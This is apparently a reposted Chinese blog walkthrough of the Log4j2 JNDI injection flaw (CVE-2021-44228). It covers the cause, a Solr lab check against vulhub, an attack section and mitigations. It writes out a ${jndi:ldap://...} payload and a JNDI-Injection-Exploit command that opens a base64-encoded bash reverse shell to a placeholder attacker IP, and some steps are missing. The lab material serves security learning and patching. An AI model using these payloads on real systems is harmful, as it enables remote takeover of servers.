简介
Apache Log4j2是一个基于Java的日志记录工具,该日志框架被大量用于业务系统开发,用来记录日志信息。
Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,攻击者仅仅需要向目标服务器发送精心构造的恶意数据触发Log4j2组件解析缺陷,就可以实现目标服务器任意命令执行,获取目标服务器权限。
由于日志记录存在的普遍性,所以该漏洞具有危害程度高、利用难度低、影响范围大、后续影响广的特点。可以预见,未来数月甚至数年该漏洞才能得到比较全面的修补。
漏洞涉及CVE编号:CVE-2021-44228 CNVD-2021-95919
漏洞影响版本:Apache log4j2 2.0 至 2.14.1 版本
已知受影响的应用及组件,如 spring–boot–strater–log4j2 / Apache Solr / Apache Flink / Apache Druid等。
原理
org.apache.logging.log4j.core.pattern.MessagePatternConverter类的format()方法发现日志中包含“${”就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。
org.apache.logging.log4j.core.lookup.StrSubstitutor中提取参数并通过lookup进行内容替换,当日志在打印时遇到“${”后,Interpolator类以“:”号作为分割,将表达式内容分割成两部分,前面部分作为prefix,后面部分作为key。然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行。
目前网络上传播广泛的poc“${jndi:ldap://my–ip/exp}”,除了利用到log4j的递归解析,同样涉及到了jndi注入,所谓的JNDI注入就是当上文代码中jndi变量可控时引发的漏洞,它将导致远程class文件加载,从而导致远程代码执行。当这条语句被传入到log4j日志文件中,lookup会将jndi注入可执行语句执行,程序会通过ldap协议访问my–ip这个地址,然后my–ip就会返回一个包含java代码的class文件的地址,然后程序再通过返回的地址下载class文件并执行,从而达成漏洞利用目的。
第一步:向目标发送指定payload,目标对payload进行解析执行,然后会通过ldap链接远程服务,当ldap服务收到请求之后,将请求进行重定向到恶意 java class的地址。
验证
1、下载、解压、重命名vulhub–master.zip为vulhub
http://your-ip:8983/solr/admin/cores?action=${jndi:ldap://nkvwta.dnslog.cn}
6、可以发现dnslog接收到返回的信息,证明存在log4j2漏洞。
攻击
1、下载工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar(在Tools目录下),下载地址:
2、进入工具所在目录下,利用工具构造payload(your–ip指攻击机kali的ip,6969指的是kali需要监听的端口)
java –jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash –c “{echo,bash –i >& /dev/tcp/your–ip/6969 0>&1}|{base64,-d}|{bash,-i}” -A your–ip
3、如图所示生成了两种协议的payload参数(得到rmi、ldap参数)
修复
1、升级至最新版本 :https://github.com/apache/logging–log4j2/releases/tag/log4j-2.15.0-rc2
1.添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true
2.在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
参考资料:https://blog.csdn.net/qq_43798640/article/details/121951491
原文地址:https://blog.csdn.net/F2444790591/article/details/125684838
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.7code.cn/show_23860.html
如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除!